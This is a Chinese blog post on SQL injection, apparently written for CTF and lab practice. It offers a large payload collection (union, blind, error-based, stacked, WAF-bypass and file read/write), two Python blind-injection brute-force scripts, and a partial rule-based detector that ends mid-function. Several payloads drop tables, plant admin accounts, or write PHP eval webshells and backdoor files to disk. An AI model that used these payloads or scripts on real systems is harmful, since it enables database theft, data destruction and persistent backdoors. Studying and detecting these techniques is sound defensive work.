浅析SQL注入原理与分类——含payload合集和检测与防护思路

5 阅读18分钟
mindmap
  root(Web安全常见攻击类型)
    注入类攻击
      SQL注入
      NoSQL注入
      LDAP注入
      OS命令注入
      表达式语言注入
    跨站脚本 XSS
      反射型XSS
      存储型XSS
      DOM型XSS
    跨站请求伪造 CSRF
      GET型CSRF
      POST型CSRF
    服务端请求伪造 SSRF
      攻击内网服务
      攻击云元数据服务
      盲SSRF
    文件相关漏洞
      文件上传漏洞
        绕过前端校验
        绕过MIME类型
        绕过内容校验
        解析漏洞
      文件包含漏洞
        本地文件包含 LFI
        远程文件包含 RFI
      路径遍历/目录穿越
    代码/命令执行
      远程代码执行 RCE
      反序列化漏洞
        PHP反序列化
        Java反序列化
        Python反序列化
      模板注入 SSTI
      表达式注入 EL/OGNL
    认证与授权缺陷
      暴力破解
      弱口令
      会话固定
      越权漏洞
        水平越权
        垂直越权
      JWT攻击
      OAuth漏洞
    信息泄露
      敏感信息暴露
      目录列表
      备份文件泄露
      调试信息泄露
    HTTP协议攻击
      HTTP头注入
      请求走私
      Host头攻击
      Cookie篡改
      会话劫持
    前端/客户端攻击
      点击劫持 Clickjacking
      WebSocket攻击
      CORS配置错误
      CDN劫持
      链路劫持
    API安全
      GraphQL注入
      批量分配 Mass Assignment
      API速率限制绕过
    中间件/服务器漏洞
      Log4Shell
      Shiro反序列化
      FastJSON漏洞
      Struts2漏洞
      Tomcat弱口令/部署
    DDoS攻击
      CC攻击
      慢速攻击
    XXE外部实体注入
    SSI注入
    CSP绕过

SQL

Snipaste_2026-03-29_14-40-49

SQL注入通常是由服务器后端参数过滤不严格、权限设置不合理等原因产生的。当攻击者构造恶意的SQL注入语句时,能够探测到后端数据库中存在的用户信息,从而获取到敏感信息或者实现提权。 Snipaste_2026-03-29_14-13-25

ctf靶场中sql手工注入的常见步骤如下。 Snipaste_2026-03-29_14-34-13

数据库版本在5.0大版本以上,说明可以利用information_schema系统库。具体的输入语句可能为以下几点。

  • 找注入点,判断闭合方式。
  • 判断列数。 select * from news where id=1 order by 2
  • 爆库名。-1 union select 1,database() # 。
  • 爆表。?id=-1' union select 1,user(),(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
  • 爆列。?id=-1' union select 1,user(),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')--+
  • 脱库。?id=-1' union select 1,2,group_concat(username,':',password) from users--+或者-1 union select 1,group_concat(flag) from sqli.flag #

闭合方式

//判断闭合方式,主要是加注释和没加注释两种方式
'or''='
') or ('a'='a
'or 1=1--  //注释方式还有 --+ ,#,/*
admin'--
" or ""="
') or ('1'='1
') or ('1'='1')--   //闭合('
1' or '1'='1' or '1'='1
') union select 1,'admin','5f4dcc3b5aa765d61d8327deb882cf99'--
'/**/or/**/1=1#  //绕过空格
' union select 1,2,3-- 
' or 1=1 limit 1-- 
' union select 1,2,3 from dual--
' union select 1,user(),database()-- 
' or 1=1 LIMIT 1 OFFSET 0--
' or 1=1 limit 1-- 
' or 1=1 offset 0--

联合注入

//主要是为了找列数和判断回显位置
判断列数。 select * from news where id=1 union order by 2 --+ (2不报错,3报错,那么可包含2列)
找回显位置。-1' union select 1,2,3,...,n(n为整数) --+  (哪个位置回显,就用哪个位置查数据)

时间/bool盲注

//主要通过时间差和页面响应差异进行判断
?sort=%27|rand(true)--+ ?sort=%27|rand(false)--+ 
' AND (SELECT pg_sleep(5))-- 
' AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)='a'--+
' AND IF(ASCII(SUBSTR((SELECT password FROM users LIMIT 0,1),1,1))>100, BENCHMARK(10000000,MD5('a')), 0)--+   //类似if-else语句
' AND 1=(SELECT CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1 END FROM dual)--
' AND json_quote(printf('%c',(SELECT substr(sql,1,1) FROM sqlite_master)))>0-- 

截断函数

主要是substring,mid,ord,substr,left等。

' AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)='a'--+
部分说明
SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables从 information_schema.tables 系统视图中取出 table_name 字段的第一个字符(SUBSTRING(...,1,1))。
WHERE table_schema=database()只筛选当前数据库(database() 返回当前库名)中的表。
LIMIT 0,1取结果集的第一条记录(即第一张表)。
= 'a'将上面取到的字符与字母 'a' 比较。

整个子查询的结果是一个布尔值(真/假),通常放在注入点的 AND 或 WHERE 条件中使用。

  • 如果页面正常显示,说明第一个表名的首字母是 'a'
  • 如果页面异常或无回显,则不是 'a',继续尝试其他字符。

条件语句

' AND IF(ASCII(SUBSTR((SELECT password FROM users LIMIT 0,1),1,1))>100, BENCHMARK(10000000,MD5('a')), 0)--+

' AND 1=(SELECT CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1 END FROM dual)--
部分含义
IF(条件, 真值, 假值)MySQL条件函数,条件成立则执行真值部分,否则执行假值部分
ASCII(SUBSTR((SELECT password FROM users LIMIT 0,1),1,1)) > 100条件:取 users 表第一行密码字段的第一个字符,判断其ASCII码是否大于100
BENCHMARK(10000000, MD5('a'))真值时执行:重复计算 MD5('a') 一千万次,产生明显时间延迟(约几秒)
0假值时执行:立即返回0,无延迟
--+MySQL注释,确保后续内容被忽略(用于拼接攻击语句)

备用脚本1

import requests

url = 'http://natas15.natas.labs.overthewire.org/index.php'
username = 'natas15'
password = 'SdqIqBsFcz3yotlNYErZSZwblkm0lrvx'
key = ''

def main():
    key = ''
    for i in range(0,32):
        for __ in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~@!#{}$%^,&*()_+-":     
#substr(... , {i+1}, 1):提取密码的第 i+1 个字符。这里与range(0,32)的从零开始对应
#BINARY "{char}":区分大小写的字符比较
#  #:注释掉原始查询的剩余部分
            data = {'username': f'natas16" and substr((SELECT password FROM users WHERE `username`= "natas16"), {i+1}, 1) = BINARY "{__}" #'}
            #可以替换成参考的payload: data = {'username': 'natas16" and substr((SELECT password FROM users WHERE `username`= "natas16"),'+str(i+1)+',1)= BINARY "' + __ + '" #'}
            print("Now is trying: " + key + __, end = '\r')
            response = requests.post(url,data=data,auth=(username,password))
            #print(response.text)
            if "exists" in response.text:
                key = key + __
                break
        print("[+] NextPassword:" + key)
if __name__ == "__main__":

   main()


备用脚本2

import concurrent.futures
import requests
import threading
 
# 定义所有可能的字符集
ALL_ALPHA = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
             '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '_', ',', '-', '@', '!', '~', ':']
 
# SQL注入载荷模板
PAYLOADS = [
    ["length(database())>$NUM$", "mid(database(),$START$,1)='$ALPHA$'"],
    ["(select (length(group_concat(schema_name))) from information_schema.schemata)>$NUM$", "(select mid(group_concat(schema_name),$START$,1) from information_schema.schemata)='$ALPHA$'"],
    ["(select length(group_concat(table_name)) from information_schema.tables where table_schema='YOUR_DB')>$NUM$", "(select mid(group_concat(table_name),$START$,1) from information_schema.tables where table_schema='YOUR_DB')='$ALPHA$'"],
    ["(select length(group_concat(column_name)) from information_schema.columns where table_schema='YOUR_DB' and table_name='YOUR_TABLE')>$NUM$", "(select mid(group_concat(column_name),$START$,1) from information_schema.columns where table_schema='YOUR_DB' and table_name='YOUR_TABLE')='$ALPHA$'"],
    ["(select length(group_concat(YOUR_COLUMN)) from YOUR_DB.YOUR_TABLE)>$NUM$", "(select mid(group_concat(YOUR_COLUMN),$START$,1) from YOUR_DB.YOUR_TABLE)='$ALPHA$'"]
]
 
lock = threading.Lock()  # 线程锁,用于同步写入结果
result = {}  # 存储最终结果的字典
check_current = ''  # 当前使用的SQL注入载荷
low, high = 1, 1024  # 长度二分查找范围
max_thread = 100  # 最大线程数
response_in_url = "you are in"  # 成功注入的响应标识
 
def check_url(url: str, start: int, char: str):
    """检查URL是否符合给定条件"""
    payload = check_current[1].replace("$ALPHA$", char).replace("$START$", str(start))
    # or和and绕过
    url = url.replace("$FUZZ$", payload).replace("or",'oorr').replace("and",'anandd')
    
    try:
        response = requests.get(url)
        if response_in_url in response.text.lower():
            with lock:
                if start not in result:  # 只有当该位置还未被填充时才更新结果
                    result[start] = char
                    return True  # 返回True表示找到了正确的字符
    except requests.RequestException as e:
        print(f"Failed to reach {url}: {e}")
    return False
 
def check_length(url: str, low: int, high: int) -> int:
    """使用二分法确定目标字符串长度"""
    while low < high:
        mid = (low + high) // 2
        payload = check_current[0].replace("$NUM$", str(mid))
        try:
            response = requests.get(url.replace("$FUZZ$", payload).replace("or",'oorr').replace("and",'anandd'))
            if response_in_url in response.text.lower():
                low = mid + 1
            else:
                high = mid
        except requests.RequestException as e:
            print(f"Failed to reach {url}: {e}")
    return high
 
def main():
    mode = input("选择模式:布尔盲注(1)还是延时注入(2)->\n")
    if mode == '1':
        url = input("输入URL,注入点用$FUZZ$代替->\n")
        global max_thread, response_in_url
        max_thread = int(input('最大线程数->\n'))
        response_in_url = input('成功注入的回显(小写)->\n')
        
        search_type = input("想要查询当前数据库(1),所有数据库(2),表(3),字段(4),数据(5)->\n")
        global check_current
        
        # 根据用户输入设置当前使用的载荷
        if search_type == '1':
            check_current = PAYLOADS[0]
        elif search_type == '2':
            check_current = PAYLOADS[1]
        elif search_type == '3':
            db_name = input("数据库名称->\n")
            check_current = [p.replace('YOUR_DB', db_name) for p in PAYLOADS[2]]
        elif search_type == '4':
            db_name = input("数据库名称->\n")
            table_name = input("数据表名称->\n")
            check_current = [p.replace('YOUR_DB', db_name).replace('YOUR_TABLE', table_name) for p in PAYLOADS[3]]
        elif search_type == '5':
            db_name = input("数据库名称->\n")
            table_name = input("数据表名称->\n")
            column_name = input("字段名称(多个字段用逗号分隔)->\n").replace(",", "',':',")
            check_current = [p.replace('YOUR_DB', db_name).replace('YOUR_TABLE', table_name).replace('YOUR_COLUMN', column_name) for p in PAYLOADS[4]]
        else:
            print("输入错误")
            return
        
        length = check_length(url, low, high)
        with concurrent.futures.ThreadPoolExecutor(max_workers=max_thread) as executor:
            futures = set()
            
            def submit_tasks(index):
                """提交特定索引处的所有任务"""
                if index + 1 not in result:  # 如果该位置尚未被猜解出来
                    for c in ALL_ALPHA:
                        futures.add(executor.submit(check_url, url, index + 1, c))
 
            # 提交所有任务
            for index in range(length):
                submit_tasks(index)
 
            # 处理已完成的任务
            for future in concurrent.futures.as_completed(futures):
                try:
                    if future.result():  # 如果找到了正确的字符,则移除相关的其他任务
                        with lock:
                            position = next((pos for pos in range(length) if pos + 1 not in result), None)
                            if position is not None:
                                submit_tasks(position)
                except Exception as e:
                    print(f"A task generated an exception: {e}")
        
        # 整理并打印结果
        result_list = [result[i + 1] for i in range(length)]
        print(''.join(result_list))
    elif mode == '2':
        pass  # 延时注入的实现可以在这里添加
    else:
        print("模式选择错误")
 
if __name__ == "__main__":
    main()


整体来说和burpsuite的”笛卡尔“爆破模块的原理是一样的。

报错注入

//主要通过报错处理查看,所以“404”不一定是真的“404”
' AND updatexml(1,concat(0x7e,database(),0x7e),1) --+
' AND extractvalue(1,concat(0x7e,database(),0x7e))--+
' AND (SELECT * FROM (SELECT COUNT(*),CONCAT(database(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
' AND 1=CAST((SELECT version()) AS integer)-- 
'and 1= ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name='admin' rownum=1)) --

XPath

' AND updatexml(1,concat(0x7e,database(),0x7e),1) --+ 原理

  • updatexml() 函数需要两个XPath路径参数,当第二个参数不是合法XPath时,会触发错误并返回其内容。 输出示例
    XPATH syntax error: '~testdb~'

' AND extractvalue(1,concat(0x7e,database(),0x7e))--+ 原理:

  • 与 updatexml 类似,extractvalue() 也期望XPath表达式,非法XPath会导致报错并输出内容。 输出示例
    XPATH syntax error: '~testdb~'

主键重复报错注入

' AND (SELECT * FROM (SELECT COUNT(*),CONCAT(database(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--

原理

组成部分代码/语句含义与作用
触发注入点' AND ( ... )--+闭合原始SQL中的引号,追加恶意子查询,并用 --+ 注释掉后续原始SQL代码。
外层结构SELECT * FROM ( ... ) a将内部子查询结果作为一个派生表(别名 a),再整体作为条件参与 AND 运算。
内部核心子查询SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x1. 从系统表 information_schema.tables 中读取数据(任意表)。
2. FLOOR(RAND(0)*2):根据种子 0 生成伪随机序列(如 0,1,1,0,1...)。
3. CONCAT(database(), ...):将当前数据库名与该随机数拼接,得到如 "testdb0" 或 "testdb1" 的值,并命名为 x
4. GROUP BY x:按 x 分组统计 COUNT(*)
报错机制无显式错误函数由于 RAND() 在 GROUP BY 分组过程中每行计算的值可能重复,导致分组键出现不确定性重复,MySQL 会抛出类似 Duplicate entry 'testdb1' for key 'group_key' 的错误,并在错误信息中泄露 x 的值(即包含数据库名的字符串)。
最终目的泄露数据库名攻击者通过观察页面返回的数据库错误信息,从中提取当前数据库名称,为进一步攻击提供信息。

[!example]

sql
> SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0)*2)) AS x 
> FROM information_schema.tables 
> GROUP BY x;

执行过程分析:

information_schema.tables 包含多行(假设有5张表)。

对于每一行,计算 FLOOR(RAND(0)*2):

第一次:RAND(0) 返回一个值,乘以2后取整,得到 0。

第二次:得到 1。

第三次:得到 1。

第四次:得到 0。

第五次:得到 1。 序列为:0, 1, 1, 0, 1。

CONCAT(database(), ...) 拼接后得到分组键值:'test0', 'test1', 'test1', 'test0', 'test1'。

GROUP BY x 试图将这些键分组。当处理到第二行时,键 'test1' 首次出现,创建一个分组。第三行又出现 'test1',此时需要将该行计入分组,但 MySQL 内部处理可能导致重复键错误,因为 x 是表达式结果,在分组过程中可能被多次计算,导致临时表出现重复条目。

最终报错类似:

text ERROR 1062 (23000): Duplicate entry 'test1' for key 'group_key' 其中 'test1' 就泄露了数据库名 test。

这就是通过主键冲突报错获取数据库名的具体例子。

堆叠注入

//和宽字节注入、外带注入一样,几乎发现该漏洞的概率相对很低。
?id=1%27; insert%20into%20users(id,username,password) values(38,%27admin%27,%27Admin@123%27)--+
?id=1;delete from users where username='test01'--+
?id=1');update users set password='123456' where username='test01'--+
?id=1;update users set username='admin' where username='test01'--+
'; DROP TABLE users; INSERT INTO users VALUES (1,'hacker','pass')--+

'; DROP TABLE users; INSERT INTO users VALUES (1,'hacker','pass')--+ 原理

  • 原SQL语句被提前终止(通过分号 ;),之后攻击者追加两条独立SQL
    1. DROP TABLE users → 删除 users 表(破坏数据)。
    2. INSERT INTO users VALUES (1,'hacker','pass') → 尝试插入恶意用户(可能用于维持访问)。
  • 前提:数据库驱动支持多语句执行(如PHP的 mysqli_multi_query()),否则无效。

该部分可以参考的题目 【suctf 2019】EasySQL。

二次注入

这里通常是属于存储型注入或转义不当(addslash)产生的,一般与insert、update等sql语句有关,通常可能发生在重命名或者忘记密码,注册用户等环节。目前比较好的题目见sqli-labs 24关 或 Web专项训练(二)-- nssctf严选题 - 河东式贺喜 - 博客园的【XDCTF 2015】filemanager。

除此之外,还有什么DNSlog外带注入和access偏移注入,我目前没见过类似的题目,暂不予以介绍。

读写文件

这个部分的题目在sqli靶场和部分CVE中出现过。

INSERT INTO image (name, raster) VALUES ('beautiful image', lo_import('/etc/motd'));
' UNION SELECT lo_export('/etc/passwd', '/tmp/passwd')-- 
服务器端的`lo_import`和`lo_export`函数具有和它们的客户端同类大不相同的行为。这两个函数从服务器的文件系统中读和写文件,使用的是数据库所有者的权限。 参考https://www.rockdata.net/zh-cn/docs/16/lo-funcs.html

LOAD_FILE   INTO OUTFILE      secure_file_priv ='E:\\secure_dir\\'  //当该值为特定值,空值,NULL时,只有在_E:\\secure_dir\\_目录下的文件才能被读写,读写不做限制,禁止读写。 SQLi-labs 第7关


--file-read  --file-write  //sqlmap

FILE_READ  file_write     //skywalking

python Livepyre.py -u http://localhost:8080/ -f system -p 'printf "<?php @eval($_POST["cmd"]); ?>" > /var/www/html/livewire-playground/public/backdoor.php' -F   // Laravel Livewire

payload总集(含简易bypass)

这部分主要是结合sqli-labs与ctfhub的sql注入部分总结的,当然会有其他靶场的一些简单经验或者一些其他的数据库版本。各类数据库版本的paylaod已经包含在时间盲注、报错注入、堆叠注入、二次注入等开头部分,这里不再展示。

//ctf思路总集
- 找注入点,判断闭合方式。
- 判断列数。 select * from news where id=1 order by 2
- 爆库名。-1 union select 1,database() # 。
- 爆表。?id=-1' union select 1,user(),(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
- 爆列。?id=-1' union select 1,user(),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')--+
- 脱库。?id=-1' union select 1,2,group_concat(username,':',password) from users--+或者-1 union select 1,group_concat(flag) from sqli.flag #


?id=1%df' union select version(),database() --+   //宽字节注入
passwd=admin&submit=Submit&uname=admin汉' union select 1,(select%20group_concat(username,0x3a,password)%20from%20users)#   //宽字节注入,总之非常少见

//报错+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+
?id=1" and extractvalue(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1)))--+
?id=' or extractvalue(1,concat(0x7e,database())) or'
?id=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and'

//时间盲注
?id=1' and if(ascii(mid(database(),1,1))=115,sleep(),1)--+
?id=1" and if(length(database())=8,sleep(5),1)--+

//简单的WAF绕过bypass,原理主要是等价转换或相近原则+编码+参数污染+脏数据等。
=用like,in,regexp代替
?id=' || extractvalue(1,concat(0x7e,(select%20(group_concat(column_name)) from (infoorrmation_schema.columns) where(table_schema=database()) anandd (table_name=%27users%27))));%00   //双写+逻辑符号替代字符+别样注释
?id=0%27%0aunIOn%0aSeleCT%0a1,(selECt%0agroup_concat(username,%27:%27,password)%0afrom%0ausers),3;%00  //大小写绕过
?id=1&id=0%27union%20select%201,2,(select%20group_concat(username,%27:%27,password)%20from%20users)--+  //HTTP参数污染
?id=-1%df'%20union%20select%201,2,(select%20group_concat(username,0x3a,password)%20from%20users)--+    //宽字节
?sort=1;select 0x3c3f70687020406576616c28245f504f53545b27636d64275d29203f3e%20into outfile
'/www/var/html/shell.php'--+ //搜索框+堆叠+编码
?id=1+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)   //空格替换,除此之外,还有/*!50000SELECT*/ ,/**/,%0a,%d

//增删改查基本语句
?id=1%27; insert%20into%20users(id,username,password) values(38,%27admin%27,%27Admin@123%27)--+
?id=1;delete from users where username='test01'--+
?id=1');update users set password='123456' where username='test01'--+
?id=1;update users set username='admin' where username='test01'--+

//sqlmap使用示例
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-15/" --forms --dbs --users --batch
-os-shell,tamper,1.txt等,参考 https://www.cnblogs.com/yilishazi/p/15209181.html

//UA,Cookie,Referer,XFF
User-Agent: ' or extractvalue(1,concat(0x7e,database())))#
' or extractvalue(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e))
Referer: ' or extractvalue(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e)) or'
Cookie: uname=admin' order by 3#

基于规则匹配和语义分析的检测与防护

  • 特殊字符:单引号(')、双引号(")、反斜杠(\)、注释符(--, #, /* */)。
  • 逻辑运算符ANDORXOR||&&
  • 函数调用SLEEP()BENCHMARK()extractvalue()updatexml()database()version()
  • 关键字UNIONSELECTFROMWHEREORDER BYGROUP BYINTO OUTFILE
  • 报错信息:数据库错误日志中暴露的语法错误、函数异常等(如“Unknown column”、“syntax error”)。
  • 响应时间:执行SLEEP(5)后响应明显延迟。

规则匹配相对来说,对于接触过比较多靶场的白盒审计选手或者熟悉sql注入原理的人群来说,这类人都很容易写出来。但是语义分析部分就相对比较难了。所以,建议用CC之类的ai试试。

sql_injection_detector.py核心功能

  1. 基于规则匹配的检测 (15+ 检测规则)

    • UNION注入检测
    • OR/AND恒真条件检测 (如 OR '1'='1', AND 1=1)
    • SQL注释注入检测 (--, #, /* */)
    • 堆叠查询检测 (; DROP TABLE...)
    • 时间盲注检测 (SLEEP(), BENCHMARK())
    • 布尔盲注检测 (IF, CASE)
    • 文件操作注入检测 (LOAD_FILE, INTO OUTFILE)
    • 错误回显注入检测 (EXTRACTVALUE, UPDATEXML)
    • 十六进制编码检测
    • xp_cmdshell命令执行检测
  2. 语义分析功能

    • 不平衡引号检测
    • 危险函数调用检测
    • 多语句分隔符检测
    • 嵌套查询检测
    • 重言式模式检测 (1=1, TRUE=TRUE)
    • 用户输入作为SQL代码检测
  3. 风险等级评估

    • SAFE, LOW, MEDIUM, HIGH, CRITICAL 五级
  4. 防护与建议

    • 输入净化/转义功能
    • 参数化查询建议
    • ORM框架使用建议
    • 最小权限原则建议
import re
from typing import List, Dict, Tuple, Optional
from dataclasses import dataclass
from enum import Enum


class ThreatLevel(Enum):
    SAFE = "safe"
    LOW = "low"
    MEDIUM = "medium"
    HIGH = "high"
    CRITICAL = "critical"


@dataclass
class DetectionResult:
    is_safe: bool
    threat_level: ThreatLevel
    matched_rules: List[str]
    details: str
    suggestions: List[str]


class SQLInjectionDetector:
    def __init__(self):
        self._init_rule_patterns()
        self._init_dangerous_functions()
        self._init_comment_patterns()

    def _init_rule_patterns(self):
        self.sql_keywords = [
            r'\bUNION\b', r'\bSELECT\b', r'\bINSERT\b', r'\bUPDATE\b',
            r'\bDELETE\b', r'\bDROP\b', r'\bCREATE\b', r'\bALTER\b',
            r'\bEXEC\b', r'\bEXECUTE\b', r'\bSCRIPT\b', r'\bIF\b',
            r'\bELSE\b', r'\bTHEN\b', r'\bEND\b', r'\bDECLARE\b',
            r'\bWAITFOR\b', r'\bDELAY\b', r'\bBENCHMARK\b', r'\bSLEEP\b'
        ]

        self.injection_patterns = [
            (r"'\s*(OR|AND)\s+['\"]?\w+['\"]?\s*=\s*['\"]?\w+['\"]?", "OR/AND条件注入"),
            (r"'\s*=\s*'", "空值比较注入"),
            (r"'\s*OR\s+'1'\s*'1'", "永真条件注入"),
            (r"'\s*OR\s+1\s*=\s*1", "数字永真注入"),
            (r";\s*(DROP|DELETE|INSERT|UPDATE|ALTER|CREATE)", "多语句注入"),
            (r"'\s*UNION\s+ALL\s+SELECT", "UNION注入"),
            (r"--[\s]*$", "行注释注入"),
            (r"/\*[\s\S]*\*/", "块注释注入"),
            (r"'\s+LIKE\s+['\"]%", "LIKE通配符注入"),
            (r"'\s*INTO\s+(OUT|DUMP)FILE", "文件写入注入"),
            (r"'\s*LOAD_FILE\s*\(", "文件读取注入"),
            (r"0x[0-9a-fA-F]+", "十六进制编码注入"),
            (r"CHAR\s*\(\s*\d+\s*\)", "CHAR函数编码注入"),
            (r"CONCAT\s*\(", "字符串连接注入"),
            (r"ASCII\s*\(\s*SUBSTR", "盲注特征"),
            (r"CASE\s+WHEN", "条件判断注入"),
            (r"'\s*\|\s*'", "字符串连接注入"),
            (r"'\s*&\s*'", "位运算注入"),
        ]

        self.compiled_keyword_patterns = [
            re.compile(p, re.IGNORECASE) for p in self.sql_keywords
        ]
        self.compiled_injection_patterns = [
            (re.compile(p, re.IGNORECASE), desc) for p, desc in self.injection_patterns
        ]

    def _init_dangerous_functions(self):
        self.dangerous_functions = {
            'mysql': ['BENCHMARK', 'LOAD_FILE', 'INTO OUTFILE', 'INTO DUMPFILE', 'SLEEP'],
            'postgresql': ['PG_SLEEP', 'COPY', 'LO_IMPORT', 'LO_EXPORT'],
            'mssql': ['XP_CMDSHELL', 'SP_EXECUTESQL', 'OPENROWSET', 'OPENDATASOURCE'],
            'oracle': ['UTL_HTTP', 'UTL_FILE', 'DBMS_LOB', 'DBMS_XMLGEN'],
            'common': ['SUBSTRING', 'ASCII', 'ORD', 'LENGTH', 'WAITFOR', 'DELAY']
        }

    def _init_comment_patterns(self):
        self.comment_patterns = [
            re.compile(r'--[\s\S]*$'),
            re.compile(r'#[\s\S]*$'),
            re.compile(r'/\*[\s\S]*\*/'),
        ]

    def detect(self, user_input: str) -> DetectionResult:
        if not user_input or not isinstance(user_input, str):
            return DetectionResult(
                is_safe=True,
                threat_level=ThreatLevel.SAFE,
                matched_rules=[],
                details="输入为空或无效",
                suggestions=[]
            )

        matched_rules = []
        threat_details = []

        rule_results = self._rule_based_detection(user_input)
        matched_rules.extend(rule_results['matched'])
        threat_details.extend(rule_results['details'])

        semantic_results = self._semantic_analysis(user_input)
        matched_rules.extend(semantic_results['matched'])
        threat_details.extend(semantic_results['details'])

        is_safe = len(matched_rules) == 0
        threat_level = self._calculate_threat_level(matched_rules)

        suggestions = self._generate_suggestions(matched_rules, user_input)

        return DetectionResult(
            is_safe=is_safe,
            threat_level=threat_level,
            matched_rules=matched_rules,
            details="; ".join(threat_details) if threat_details else "未检测到威胁",
            suggestions=suggestions
        )

    def _rule_based_detection(self, user_input: str) -> Dict:
        matched = []
        details = []

        for pattern, desc in self.compiled_injection_patterns:
            if pattern.search(user_input):
                matched.append(f"规则匹配: {desc}")
                details.append(f"检测到注入模式: {desc}")

        for pattern in self.compiled_keyword_patterns:
            if pattern.search(user_input):
                keyword = pattern.pattern.strip(r'\b')
                matched.append(f"关键字检测: {keyword}")
                details.append(f"包含SQL关键字: {keyword}")

        for comment_pattern in self.comment_patterns:
            if comment_pattern.search(user_input):
                matched.append("注释符号检测")
                details.append("检测到SQL注释符号")
                break

        func_matches = self._detect_dangerous_functions(user_input)
        matched.extend(func_matches['matched'])
        details.extend(func_matches['details'])

        if len(user_input) > 500:
            matched.append("长度异常检测")
            details.append("输入长度超过500字符,可能为恶意注入")

        return {'matched': matched, 'details': details}

    def _detect_dangerous_functions(self, user_input: str) -> Dict:
        matched = []
        details = []
        upper_input = user_input.upper()

        for db_type, functions in self.dangerous_functions.items():
            for func in functions:
                if func.upper() in upper_input:
                    matched.append(f"危险函数: {func} ({db_type})")
                    details.append(f"检测到危险函数: {func}")

        return {'matched': matched, 'details': details}

    def _semantic_analysis(self, user_input: str) -> Dict:
        matched = []
        details = []

        if self._looks_like_sql(user_input):
            matched.append("可解析为SQL语句")
            details.append("输入可被解析为有效SQL语句")

        if self._has_unbalanced_quotes(user_input):
            matched.append("引号不平衡")
            details.append("检测到未闭合的单引号或双引号")

        if self._detect_tautology(user_input):
            matched.append("恒真条件检测")
            details.append("检测到可能导致恒真条件的模式")

        if self._detect_union_based(user_input):
            matched.append("UNION注入检测")
            details.append("检测到UNION SELECT注入模式")

        if self._detect_stacked_queries(user_input):
            matched.append("堆叠查询检测")
            details.append("检测到多语句注入特征")

        return {'matched': matched, 'details': details}

    def _looks_like_sql(self, user_input: str) -> bool:
        sql_starters = [
            r'^\s*SELECT\s+',
            r'^\s*INSERT\s+',
            r'^\s*UPDATE\s+',
            r'^\s*DELETE\s+',
            r'^\s*DROP\s+',
            r'^\s*CREATE\s+',
            r'^\s*ALTER\s+',
            r'^\s*EXEC\s+',
            r'^\s*UNION\s+',
            r'^\s*\d+\s*(OR|AND)',
            r'^\s*\w+\s*=\s*',
            r"^\s*'\s*\w+",
        ]
        upper_input = user_input.upper()
        return any(re.search(p, upper_input) for p in sql_starters)

    def _has_unbalanced_quotes(self, user_input: str) -> bool:
        single_quotes = user_input.count("'")
        double_quotes = user_input.count('"')
        backticks = user_input.count('`')

        return (single_quotes % 2 != 0 or
                double_quotes % 2 != 0 or
                backticks % 2 != 0)

    def _detect_tautology(self, user_input: str) -> bool:
        tautology_patterns = [
            r"['\"]?\s*=\s*['\"]?",
            r"OR\s+['\"]?\s*1\s*['\"]?\s*=\s*['\"]?\s*1",
            r"OR\s+TRUE",
            r"OR\s+'t'\s*=\s*'t'",
        ]
        upper_input = user_input.upper()
        return any(re.search(p, upper_input) for p in tautology_patterns)

    def _detect_union_based(self, user_input: str) -> bool:
        return bool(re.search(r'\bUNION\b\s+\bSELECT\b', user_input, re.IGNORECASE))

    def _detect_stacked_queries(self, user_input: str) -> bool:
        stacked_patterns = [
            r';\s*(SELECT|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|EXEC)',
            r';\s*\d+\s*(OR|AND)',
        ]
        return any(re.search(p, user_input, re.IGNORECASE) for p in stacked_patterns)

    def _calculate_threat_level(self, matched_rules: List[str]) -> ThreatLevel:
        critical_patterns = ['UNION', 'DROP', 'DELETE', 'CREATE', 'XP_CMDSHELL', 'INTO OUTFILE']
        high_patterns = ['EXEC', 'EXECUTE', 'SLEEP', 'BENCHMARK', 'LOAD_FILE', 'WAITFOR']
        medium_patterns = ['SELECT', 'INSERT', 'UPDATE', 'ALTER']

        matched_text = ' '.join(matched_rules).upper()

        if any(p in matched_text for p in critical_patterns):
            return ThreatLevel.CRITICAL
        elif any(p in matched_text for p in high_patterns):
            return ThreatLevel.HIGH
        elif any(p in matched_text for p in medium_patterns):
            return ThreatLevel.MEDIUM
        elif matched_rules:
            return ThreatLevel.LOW
        return ThreatLevel.SAFE

    def _generate_suggestions(self, matched_rules: List[str], user_input: str) -> List[str]:
        suggestions = []

        if any('UNION' in r.upper() for r in matched_rules):
            suggestions.append("使用参数化查询,避免拼接SQL语句")

        if any('COMMENT' in r.upper() for r in matched_rules):
            suggestions.append("对用户输入进行严格的引号转义处理")

        if any('FUNCTION' in r.upper() for r in matched_rules):
            suggestions.append("禁用或限制数据库危险函数的使用权限")

        if self._has_unbalanced_quotes(user_input):
